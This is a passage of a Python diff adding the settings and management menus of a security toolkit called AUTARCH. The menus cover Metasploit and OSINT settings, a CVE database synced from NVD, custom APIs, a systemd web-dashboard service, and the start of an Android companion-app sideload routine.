").strip().lower() + use_ssl = ssl_str == 'y' if ssl_str else settings['ssl'] + + msf.save_settings(host, port, username, password, use_ssl) + self.print_status("Settings saved", "success") + + except (ValueError, EOFError, KeyboardInterrupt): + print() + self.print_status("Configuration cancelled", "warning") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def show_all_settings(self): + """Display all current settings.""" + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} All Settings{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # LLM Settings + print(f" {Colors.CYAN}LLM Configuration:{Colors.RESET}") + settings = self.config.get_llama_settings() + for key, value in settings.items(): + print(f" {key:20}: {value}") + + # MSF Settings + print() + print(f" {Colors.CYAN}Metasploit Configuration:{Colors.RESET}") + from .msf import get_msf_manager + msf_settings = get_msf_manager().get_settings() + for key, value in msf_settings.items(): + if key == 'password': + value = '*' * len(value) if value else '(not set)' + print(f" {key:20}: {value}") + + # OSINT Settings + print() + print(f" {Colors.CYAN}OSINT Configuration:{Colors.RESET}") + osint_settings = self.config.get_osint_settings() + for key, value in osint_settings.items(): + print(f" {key:20}: {value}") + + print() + print(f" {Colors.CYAN}Config file:{Colors.RESET} {self.config.config_path}") + print() + + input(f"{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def show_database_management(self): + """Display database management menu.""" + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Database Management{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Get database info + from .cve import get_cve_db + cve_db = get_cve_db() + cve_stats = cve_db.get_db_stats() + + # Custom APIs + custom_apis = self._load_custom_apis() + + # System audit + system_inf = self._app_dir / "system.inf" + + # Adult scanner custom sites + adult_sites = self._app_dir / "custom_adultsites.json" + + # Calculate total storage + total_size = 0 + + print(f" {Colors.CYAN}Databases:{Colors.RESET}") + print() + + # CVE Database + cve_size = cve_stats['db_size_mb'] + total_size += cve_size + status = f"{Colors.GREEN}Active{Colors.RESET}" if cve_stats['total_cves'] > 0 else f"{Colors.YELLOW}Empty{Colors.RESET}" + print(f" {Colors.BLUE}[1]{Colors.RESET} CVE Database") + print(f" {Colors.DIM}Records: {cve_stats['total_cves']:,} | Size: {cve_size} MB | {status}{Colors.RESET}") + + # System Audit Results + if system_inf.exists(): + sys_size = round(system_inf.stat().st_size / 1024 / 1024, 2) + total_size += sys_size + print(f" {Colors.BLUE}[2]{Colors.RESET} System Audit Data") + print(f" {Colors.DIM}Size: {sys_size} MB | {Colors.GREEN}Active{Colors.RESET}") + else: + print(f" {Colors.BLUE}[2]{Colors.RESET} System Audit Data") + print(f" {Colors.DIM}No data | {Colors.YELLOW}Empty{Colors.RESET}") + + # Custom Sites Database + if adult_sites.exists(): + import json + try: + with open(adult_sites) as f: + sites_data = json.load(f) + sites_count = len(sites_data.get('sites', [])) + sites_size = round(adult_sites.stat().st_size / 1024, 2) + print(f" {Colors.BLUE}[3]{Colors.RESET} Custom Sites Database") + print(f" {Colors.DIM}Sites: {sites_count} | Size: {sites_size} KB{Colors.RESET}") + except: + print(f" {Colors.BLUE}[3]{Colors.RESET} Custom Sites Database") + print(f" {Colors.DIM}Error reading | {Colors.RED}Corrupt{Colors.RESET}") + else: + print(f" {Colors.BLUE}[3]{Colors.RESET} Custom Sites Database") + print(f" {Colors.DIM}No custom sites | {Colors.YELLOW}Empty{Colors.RESET}") + + # Custom APIs + print(f" {Colors.BLUE}[4]{Colors.RESET} Custom APIs") + print(f" {Colors.DIM}APIs: {len(custom_apis)}{Colors.RESET}") + + print() + print(f" {Colors.DIM}Total Storage: ~{round(total_size, 2)} MB{Colors.RESET}") + print() + + print(f" {Colors.GREEN}[S]{Colors.RESET} Sync All Databases") + print(f" {Colors.YELLOW}[B]{Colors.RESET} Backup All Databases") + print(f" {Colors.RED}[C]{Colors.RESET} Clear All Databases") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().upper() + + if choice == "0" or not choice: + break + elif choice == "1": + self.show_cve_settings() + elif choice == "2": + self._manage_system_audit_data() + elif choice == "3": + self._manage_custom_sites() + elif choice == "4": + self.show_custom_apis() + elif choice == "S": + self._sync_all_databases() + elif choice == "B": + self._backup_all_databases() + elif choice == "C": + self._clear_all_databases() + + except (EOFError, KeyboardInterrupt): + break + + def _manage_system_audit_data(self): + """Manage system audit data.""" + system_inf = self._app_dir / "system.inf" + + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} System Audit Data{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + if system_inf.exists(): + import json + try: + with open(system_inf) as f: + data = json.load(f) + + print(f" {Colors.CYAN}Audit Date:{Colors.RESET} {data.get('audit_date', 'Unknown')[:19]}") + print(f" {Colors.CYAN}Security Score:{Colors.RESET} {data.get('security_score', 'N/A')}/100") + print(f" {Colors.CYAN}Issues Found:{Colors.RESET} {len(data.get('issues', []))}") + print(f" {Colors.CYAN}System:{Colors.RESET} {data.get('system_info', {}).get('os_name', 'Unknown')}") + print() + + print(f" {Colors.RED}[D]{Colors.RESET} Delete Audit Data") + print(f" {Colors.CYAN}[V]{Colors.RESET} View Details") + except Exception as e: + print(f" {Colors.RED}Error reading data: {e}{Colors.RESET}") + else: + print(f" {Colors.YELLOW}No audit data found.{Colors.RESET}") + print(f" {Colors.DIM}Run a system audit from My System module.{Colors.RESET}") + + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().upper() + + if choice == "D" and system_inf.exists(): + confirm = input(f" {Colors.RED}Delete audit data? (y/n): {Colors.RESET}").strip().lower() + if confirm == 'y': + system_inf.unlink() + self.print_status("Audit data deleted", "success") + elif choice == "V" and system_inf.exists(): + import json + with open(system_inf) as f: + data = json.load(f) + print(f"\n{Colors.DIM}{json.dumps(data, indent=2)[:2000]}...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + pass + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _manage_custom_sites(self): + """Manage custom adult scanner sites.""" + sites_path = self._app_dir / "custom_adultsites.json" + + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Custom Sites Database{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + if sites_path.exists(): + import json + try: + with open(sites_path) as f: + data = json.load(f) + + sites = data.get('sites', []) + print(f" {Colors.CYAN}Total Sites:{Colors.RESET} {len(sites)}") + print() + + if sites: + print(f" {Colors.DIM}Sites:{Colors.RESET}") + for site in sites[:10]: + name = site[0] if isinstance(site, list) else site.get('name', 'Unknown') + print(f" - {name}") + if len(sites) > 10: + print(f" {Colors.DIM}... and {len(sites) - 10} more{Colors.RESET}") + + print() + print(f" {Colors.RED}[D]{Colors.RESET} Delete All Custom Sites") + print(f" {Colors.CYAN}[E]{Colors.RESET} Export Sites List") + except Exception as e: + print(f" {Colors.RED}Error reading data: {e}{Colors.RESET}") + else: + print(f" {Colors.YELLOW}No custom sites configured.{Colors.RESET}") + print(f" {Colors.DIM}Add sites from the Adult Scanner module.{Colors.RESET}") + + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().upper() + + if choice == "D" and sites_path.exists(): + confirm = input(f" {Colors.RED}Delete all custom sites? (y/n): {Colors.RESET}").strip().lower() + if confirm == 'y': + sites_path.unlink() + self.print_status("Custom sites deleted", "success") + elif choice == "E" and sites_path.exists(): + export_path = self._app_dir / "custom_sites_export.txt" + import json + with open(sites_path) as f: + data = json.load(f) + with open(export_path, 'w') as f: + for site in data.get('sites', []): + name = site[0] if isinstance(site, list) else site.get('name', '') + url = site[1] if isinstance(site, list) else site.get('url', '') + f.write(f"{name}: {url}\n") + self.print_status(f"Exported to {export_path}", "success") + + except (EOFError, KeyboardInterrupt): + pass + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _sync_all_databases(self): + """Sync all databases.""" + print() + print(f"{Colors.CYAN}[*] Syncing all databases...{Colors.RESET}") + print() + + # Sync CVE database + print(f"{Colors.CYAN}[*] Syncing CVE database (recent)...{Colors.RESET}") + from .cve import get_cve_db + cve_db = get_cve_db() + stats = cve_db.sync_database(days_back=30, verbose=True) + print(f"{Colors.GREEN}[+] CVE sync complete: {stats.get('cves_processed', 0):,} CVEs{Colors.RESET}") + + print() + self.print_status("All databases synced", "success") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _backup_all_databases(self): + """Backup all databases.""" + import shutil + from datetime import datetime + + backup_dir = self._app_dir / "backups" / datetime.now().strftime("%Y%m%d_%H%M%S") + backup_dir.mkdir(parents=True, exist_ok=True) + + print() + print(f"{Colors.CYAN}[*] Creating backup at {backup_dir}...{Colors.RESET}") + print() + + files_to_backup = [ + ("data/cve/cve.db", "CVE Database"), + ("system.inf", "System Audit Data"), + ("custom_adultsites.json", "Custom Sites"), + ("custom_apis.json", "Custom APIs"), + ("autarch_settings.conf", "Settings"), + ] + + backed_up = 0 + for filepath, name in files_to_backup: + src = self._app_dir / filepath + if src.exists(): + dst = backup_dir / src.name + try: + shutil.copy2(src, dst) + print(f" {Colors.GREEN}[+]{Colors.RESET} {name}") + backed_up += 1 + except Exception as e: + print(f" {Colors.RED}[X]{Colors.RESET} {name}: {e}") + else: + print(f" {Colors.DIM}[-]{Colors.RESET} {name} (not found)") + + print() + self.print_status(f"Backed up {backed_up} files to {backup_dir}", "success") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _clear_all_databases(self): + """Clear all databases.""" + print() + print(f"{Colors.RED}[!] WARNING: This will delete ALL data:{Colors.RESET}") + print(f" - CVE Database") + print(f" - System Audit Data") + print(f" - Custom Sites") + print(f" - Custom APIs") + print() + + confirm = input(f"{Colors.WHITE}Type 'DELETE ALL' to confirm: {Colors.RESET}").strip() + + if confirm == 'DELETE ALL': + import os + + files_to_delete = [ + "data/cve/cve.db", + "system.inf", + "custom_adultsites.json", + "custom_apis.json", + ] + + for filepath in files_to_delete: + path = self._app_dir / filepath + if path.exists(): + try: + os.remove(path) + print(f" {Colors.GREEN}[+]{Colors.RESET} Deleted {path.name}") + except Exception as e: + print(f" {Colors.RED}[X]{Colors.RESET} Failed to delete {path.name}: {e}") + + self.print_status("All databases cleared", "success") + else: + self.print_status("Operation cancelled", "info") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def show_cve_settings(self): + """Display CVE database settings.""" + from .cve import get_cve_db + + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} CVE Database Settings{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + cve_db = get_cve_db() + stats = cve_db.get_db_stats() + sys_info = cve_db.get_system_info() + + # Database info + print(f" {Colors.CYAN}Database Path:{Colors.RESET} {stats['db_path']}") + print(f" {Colors.CYAN}Database Size:{Colors.RESET} {stats['db_size_mb']} MB") + print(f" {Colors.CYAN}Total CVEs:{Colors.RESET} {stats['total_cves']:,}") + print(f" {Colors.CYAN}Last Sync:{Colors.RESET} {stats.get('last_sync', 'Never')[:19] if stats.get('last_sync') else 'Never'}") + print() + + # System detection + print(f" {Colors.CYAN}Detected OS:{Colors.RESET} {sys_info.get('os_name', 'Unknown')}") + print(f" {Colors.CYAN}CPE Prefix:{Colors.RESET} {sys_info.get('cpe_prefix', 'Unknown')}") + print() + + # NVD API Key status + api_key = self.config.get('nvd', 'api_key', fallback='') + if api_key: + print(f" {Colors.GREEN}NVD API Key:{Colors.RESET} Configured") + else: + print(f" {Colors.YELLOW}NVD API Key:{Colors.RESET} Not set (slower sync)") + print() + + print(f" {Colors.GREEN}[1]{Colors.RESET} Sync Database (Recent - 120 days)") + print(f" {Colors.YELLOW}[2]{Colors.RESET} Sync Database (Full - all CVEs)") + print(f" {Colors.CYAN}[3]{Colors.RESET} Set NVD API Key") + print(f" {Colors.RED}[4]{Colors.RESET} Clear Database") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1": + self._sync_cve_database(days=120) + elif choice == "2": + self._sync_cve_database(full=True) + elif choice == "3": + self._set_nvd_api_key() + elif choice == "4": + self._clear_cve_database() + + except (EOFError, KeyboardInterrupt): + break + + def _sync_cve_database(self, days: int = 120, full: bool = False): + """Sync CVE database.""" + from .cve import get_cve_db + + print() + if full: + print(f"{Colors.YELLOW}[!] Full sync will download 200,000+ CVEs{Colors.RESET}") + print(f"{Colors.YELLOW}[!] This may take 2-6 hours{Colors.RESET}") + confirm = input(f"\n{Colors.WHITE}Continue? (y/n): {Colors.RESET}").strip().lower() + if confirm != 'y': + return + else: + print(f"{Colors.CYAN}[*] Syncing CVEs from last {days} days...{Colors.RESET}") + + print() + cve_db = get_cve_db() + stats = cve_db.sync_database(days_back=days, full_sync=full, verbose=True) + + print(f"\n{Colors.GREEN}[+] Sync complete: {stats.get('cves_processed', 0):,} CVEs{Colors.RESET}") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _set_nvd_api_key(self): + """Set NVD API key.""" + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} NVD API Key Configuration{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + print(f" {Colors.DIM}Get your free API key at:{Colors.RESET}") + print(f" {Colors.CYAN}https://nvd.nist.gov/developers/request-an-api-key{Colors.RESET}") + print() + print(f" {Colors.DIM}Benefits: 50 requests/30s vs 5 requests/30s{Colors.RESET}") + print() + + current = self.config.get('nvd', 'api_key', fallback='') + if current: + print(f" {Colors.GREEN}Current: {current[:8]}...{Colors.RESET}") + print() + + try: + api_key = input(f"{Colors.WHITE} Enter API key (or Enter to skip): {Colors.RESET}").strip() + + if api_key: + self.config.set('nvd', 'api_key', api_key) + self.config.save() + self.print_status("API key saved", "success") + else: + self.print_status("No changes made", "info") + + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _clear_cve_database(self): + """Clear CVE database.""" + from .cve import get_cve_db + import os + + print() + print(f"{Colors.RED}[!] This will delete all CVE data{Colors.RESET}") + confirm = input(f"{Colors.WHITE}Type 'DELETE' to confirm: {Colors.RESET}").strip() + + if confirm == 'DELETE': + cve_db = get_cve_db() + db_path = cve_db.db_path + cve_db.close() + + try: + os.remove(db_path) + self.print_status("Database cleared", "success") + except Exception as e: + self.print_status(f"Failed to clear: {e}", "error") + else: + self.print_status("Operation cancelled", "info") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def show_custom_apis(self): + """Display custom APIs management menu.""" + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Custom APIs{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Load existing APIs + custom_apis = self._load_custom_apis() + + if custom_apis: + print(f" {Colors.CYAN}Configured APIs:{Colors.RESET}") + for i, (name, api) in enumerate(custom_apis.items(), 1): + status = f"{Colors.GREEN}Active{Colors.RESET}" if api.get('enabled', True) else f"{Colors.RED}Disabled{Colors.RESET}" + print(f" [{i}] {name} - {status}") + print(f" {Colors.DIM}{api.get('url', 'No URL')[:50]}...{Colors.RESET}") + print() + else: + print(f" {Colors.DIM}No custom APIs configured{Colors.RESET}") + print() + + print(f" {Colors.GREEN}[A]{Colors.RESET} Add API") + if custom_apis: + print(f" {Colors.CYAN}[E]{Colors.RESET} Edit API") + print(f" {Colors.RED}[D]{Colors.RESET} Delete API") + print(f" {Colors.YELLOW}[T]{Colors.RESET} Toggle API") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().upper() + + if choice == "0" or not choice: + break + elif choice == "A": + self._add_custom_api() + elif choice == "E" and custom_apis: + self._edit_custom_api(custom_apis) + elif choice == "D" and custom_apis: + self._delete_custom_api(custom_apis) + elif choice == "T" and custom_apis: + self._toggle_custom_api(custom_apis) + + except (EOFError, KeyboardInterrupt): + break + + def _load_custom_apis(self) -> dict: + """Load custom APIs from config.""" + import json + apis_path = self._app_dir / "custom_apis.json" + + if apis_path.exists(): + try: + with open(apis_path, 'r') as f: + return json.load(f) + except: + pass + return {} + + def _save_custom_apis(self, apis: dict): + """Save custom APIs to config.""" + import json + apis_path = self._app_dir / "custom_apis.json" + + with open(apis_path, 'w') as f: + json.dump(apis, f, indent=2) + + def _add_custom_api(self): + """Add a new custom API.""" + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Add Custom API{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + try: + name = input(f" {Colors.WHITE}API Name: {Colors.RESET}").strip() + if not name: + return + + url = input(f" {Colors.WHITE}Base URL: {Colors.RESET}").strip() + api_key = input(f" {Colors.WHITE}API Key (optional): {Colors.RESET}").strip() + description = input(f" {Colors.WHITE}Description: {Colors.RESET}").strip() + + # API type + print(f"\n {Colors.DIM}API Types:{Colors.RESET}") + print(f" [1] REST API") + print(f" [2] GraphQL") + print(f" [3] SOAP") + print(f" [4] Other") + api_type = input(f" {Colors.WHITE}Type [1]: {Colors.RESET}").strip() or "1" + type_map = {"1": "REST", "2": "GraphQL", "3": "SOAP", "4": "Other"} + api_type = type_map.get(api_type, "REST") + + apis = self._load_custom_apis() + apis[name] = { + 'url': url, + 'api_key': api_key, + 'description': description, + 'type': api_type, + 'enabled': True, + } + self._save_custom_apis(apis) + + self.print_status(f"API '{name}' added", "success") + + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _edit_custom_api(self, apis: dict): + """Edit an existing custom API.""" + api_list = list(apis.keys()) + print() + num = input(f" {Colors.WHITE}Enter API number to edit: {Colors.RESET}").strip() + + try: + idx = int(num) - 1 + if 0 <= idx < len(api_list): + name = api_list[idx] + api = apis[name] + + clear_screen() + self._show_banner() + print(f"{Colors.BOLD}{Colors.WHITE} Edit API: {name}{Colors.RESET}") + print(f"{Colors.DIM} Press Enter to keep current value{Colors.RESET}") + print() + + new_url = input(f" URL [{api.get('url', '')}]: ").strip() or api.get('url', '') + new_key = input(f" API Key: ").strip() or api.get('api_key', '') + new_desc = input(f" Description [{api.get('description', '')}]: ").strip() or api.get('description', '') + + api['url'] = new_url + api['api_key'] = new_key + api['description'] = new_desc + self._save_custom_apis(apis) + + self.print_status("API updated", "success") + except (ValueError, IndexError): + self.print_status("Invalid selection", "error") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _delete_custom_api(self, apis: dict): + """Delete a custom API.""" + api_list = list(apis.keys()) + print() + num = input(f" {Colors.WHITE}Enter API number to delete: {Colors.RESET}").strip() + + try: + idx = int(num) - 1 + if 0 <= idx < len(api_list): + name = api_list[idx] + confirm = input(f" {Colors.RED}Delete '{name}'? (y/n): {Colors.RESET}").strip().lower() + + if confirm == 'y': + del apis[name] + self._save_custom_apis(apis) + self.print_status(f"API '{name}' deleted", "success") + else: + self.print_status("Cancelled", "info") + except (ValueError, IndexError): + self.print_status("Invalid selection", "error") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _toggle_custom_api(self, apis: dict): + """Toggle a custom API enabled/disabled.""" + api_list = list(apis.keys()) + print() + num = input(f" {Colors.WHITE}Enter API number to toggle: {Colors.RESET}").strip() + + try: + idx = int(num) - 1 + if 0 <= idx < len(api_list): + name = api_list[idx] + apis[name]['enabled'] = not apis[name].get('enabled', True) + self._save_custom_apis(apis) + status = "enabled" if apis[name]['enabled'] else "disabled" + self.print_status(f"API '{name}' {status}", "success") + except (ValueError, IndexError): + self.print_status("Invalid selection", "error") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def show_autarch_api(self): + """Display AUTARCH API settings (placeholder for future implementation).""" + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} AUTARCH API{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Check if API is enabled + api_enabled = self.config.get_bool('api', 'enabled', fallback=False) + api_port = self.config.get_int('api', 'port', fallback=8080) + api_key = self.config.get('api', 'key', fallback='') + + if api_enabled: + print(f" {Colors.GREEN}Status:{Colors.RESET} Enabled") + else: + print(f" {Colors.YELLOW}Status:{Colors.RESET} Disabled") + + print(f" {Colors.CYAN}Port:{Colors.RESET} {api_port}") + print(f" {Colors.CYAN}API Key:{Colors.RESET} {'Configured' if api_key else 'Not set'}") + print() + + print(f" {Colors.DIM}The AUTARCH API allows external tools to{Colors.RESET}") + print(f" {Colors.DIM}interact with the framework programmatically.{Colors.RESET}") + print() + + print(f" {Colors.YELLOW}[!] API functionality coming in future version{Colors.RESET}") + print() + + print(f" {Colors.CYAN}[1]{Colors.RESET} Configure API Settings") + print(f" {Colors.CYAN}[2]{Colors.RESET} Generate API Key") + print(f" {Colors.CYAN}[3]{Colors.RESET} View API Documentation") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1": + self._configure_autarch_api() + elif choice == "2": + self._generate_api_key() + elif choice == "3": + self._show_api_docs() + + except (EOFError, KeyboardInterrupt): + break + + def _configure_autarch_api(self): + """Configure AUTARCH API settings.""" + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Configure AUTARCH API{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + try: + enabled = input(f" Enable API? (y/n) [{self.config.get_bool('api', 'enabled', fallback=False) and 'y' or 'n'}]: ").strip().lower() + if enabled: + self.config.set('api', 'enabled', 'true' if enabled == 'y' else 'false') + + port = input(f" Port [{self.config.get_int('api', 'port', fallback=8080)}]: ").strip() + if port.isdigit(): + self.config.set('api', 'port', port) + + self.config.save() + self.print_status("API settings saved", "success") + + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _generate_api_key(self): + """Generate a new API key.""" + import secrets + import string + + print() + api_key = ''.join(secrets.choice(string.ascii_letters + string.digits) for _ in range(32)) + + self.config.set('api', 'key', api_key) + self.config.save() + + print(f" {Colors.GREEN}New API Key:{Colors.RESET} {api_key}") + print(f"\n {Colors.YELLOW}Store this key securely - it won't be shown again!{Colors.RESET}") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _show_api_docs(self): + """Show API documentation.""" + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} AUTARCH API Documentation{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + print(f" {Colors.CYAN}Endpoints (coming soon):{Colors.RESET}") + print() + print(f" {Colors.DIM}GET /api/v1/status{Colors.RESET}") + print(f" Get framework status") + print() + print(f" {Colors.DIM}GET /api/v1/modules{Colors.RESET}") + print(f" List available modules") + print() + print(f" {Colors.DIM}POST /api/v1/scan{Colors.RESET}") + print(f" Run a security scan") + print() + print(f" {Colors.DIM}GET /api/v1/cve/search?q={Colors.RESET}") + print(f" Search CVE database") + print() + print(f" {Colors.DIM}POST /api/v1/agent/task{Colors.RESET}") + print(f" Submit task to AI agent") + print() + + print(f" {Colors.YELLOW}Full documentation will be available when{Colors.RESET}") + print(f" {Colors.YELLOW}the API is implemented in a future version.{Colors.RESET}") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def run_agent_hal(self): + """Run the Agent Hal module.""" + try: + from modules.agent_hal import run as run_hal + run_hal() + except ImportError as e: + self.print_status(f"Failed to load Agent Hal: {e}", "error") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + except Exception as e: + self.print_status(f"Error running Agent Hal: {e}", "error") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def run_setup(self): + """Run the setup wizard.""" + from modules.setup import run as run_setup + run_setup() + + def show_web_service(self): + """Web service management menu.""" + import subprocess + + SERVICE_NAME = "autarch-web" + SERVICE_FILE = self._app_dir / "scripts" / "autarch-web.service" + SYSTEMD_PATH = Path("/etc/systemd/system/autarch-web.service") + + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Web Dashboard Service{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Check status + installed = SYSTEMD_PATH.exists() + if installed: + result = subprocess.run( + ['systemctl', 'is-active', SERVICE_NAME], + capture_output=True, text=True + ) + is_active = result.stdout.strip() + result2 = subprocess.run( + ['systemctl', 'is-enabled', SERVICE_NAME], + capture_output=True, text=True + ) + is_enabled = result2.stdout.strip() + color = Colors.GREEN if is_active == 'active' else Colors.RED + print(f" Service: {color}{is_active}{Colors.RESET}") + print(f" Enabled: {is_enabled}") + else: + print(f" Service: {Colors.YELLOW}Not installed{Colors.RESET}") + + host = self.config.get('web', 'host', fallback='0.0.0.0') + port = self.config.get('web', 'port', fallback='8181') + print(f" Address: http://{host}:{port}") + print() + + if not installed: + print(f" {Colors.GREEN}[1]{Colors.RESET} Install Service") + else: + print(f" {Colors.GREEN}[1]{Colors.RESET} Start Service") + print(f" {Colors.RED}[2]{Colors.RESET} Stop Service") + print(f" {Colors.YELLOW}[3]{Colors.RESET} Restart Service") + print(f" {Colors.CYAN}[4]{Colors.RESET} Enable (auto-start on boot)") + print(f" {Colors.CYAN}[5]{Colors.RESET} Disable (no auto-start)") + print(f" {Colors.DIM}[6]{Colors.RESET} View Logs") + + print(f"\n {Colors.CYAN}[7]{Colors.RESET} Start Web UI (foreground, no service)") + print(f" {Colors.CYAN}[8]{Colors.RESET} Configure Host/Port") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1" and not installed: + try: + subprocess.run(['sudo', 'cp', str(SERVICE_FILE), str(SYSTEMD_PATH)], check=True) + subprocess.run(['sudo', 'systemctl', 'daemon-reload'], check=True) + self.print_status("Service installed", "success") + except Exception as e: + self.print_status(f"Install failed: {e}", "error") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "1" and installed: + subprocess.run(['sudo', 'systemctl', 'start', SERVICE_NAME]) + self.print_status("Service started", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "2": + subprocess.run(['sudo', 'systemctl', 'stop', SERVICE_NAME]) + self.print_status("Service stopped", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "3": + subprocess.run(['sudo', 'systemctl', 'restart', SERVICE_NAME]) + self.print_status("Service restarted", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "4": + subprocess.run(['sudo', 'systemctl', 'enable', SERVICE_NAME]) + self.print_status("Auto-start enabled", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "5": + subprocess.run(['sudo', 'systemctl', 'disable', SERVICE_NAME]) + self.print_status("Auto-start disabled", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "6": + result = subprocess.run( + ['journalctl', '-u', SERVICE_NAME, '-n', '30', '--no-pager'], + capture_output=True, text=True + ) + print(f"\n{Colors.DIM}{result.stdout}{Colors.RESET}") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "7": + from web.app import create_app + app = create_app() + print(f"\n{Colors.GREEN}[+] Starting web UI on {host}:{port}{Colors.RESET}") + print(f"{Colors.DIM} Press Ctrl+C to stop{Colors.RESET}\n") + try: + app.run(host=host, port=int(port), debug=False) + except KeyboardInterrupt: + print(f"\n{Colors.CYAN}Web UI stopped.{Colors.RESET}") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "8": + print() + new_host = input(f" {Colors.WHITE}Bind host [{host}]: {Colors.RESET}").strip() + new_port = input(f" {Colors.WHITE}Port [{port}]: {Colors.RESET}").strip() + if new_host: + self.config.set('web', 'host', new_host) + if new_port: + try: + int(new_port) + self.config.set('web', 'port', new_port) + except ValueError: + self.print_status("Invalid port number", "error") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + continue + if new_host or new_port: + self.config.save() + self.print_status("Web settings saved", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + def sideload_companion(self): + """Sideload Archon companion APK to connected Android device.""" + from core.paths import find_tool, get_app_dir + + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Sideload Archon Companion App{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + adb = find_tool('adb') + if not adb: + self.print_status("ADB not found. Install Android SDK tools.", "error") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + return + + # Check for APK + app_dir = get_app_dir() + apk_locations = [ + app_dir / "autarch_companion" / "app" / "build" / "outputs" / "apk" / "debug" / "app-debug.apk", + app_dir / "autarch_companion" / "app" / "build" / "outputs" / "apk" / "release" / 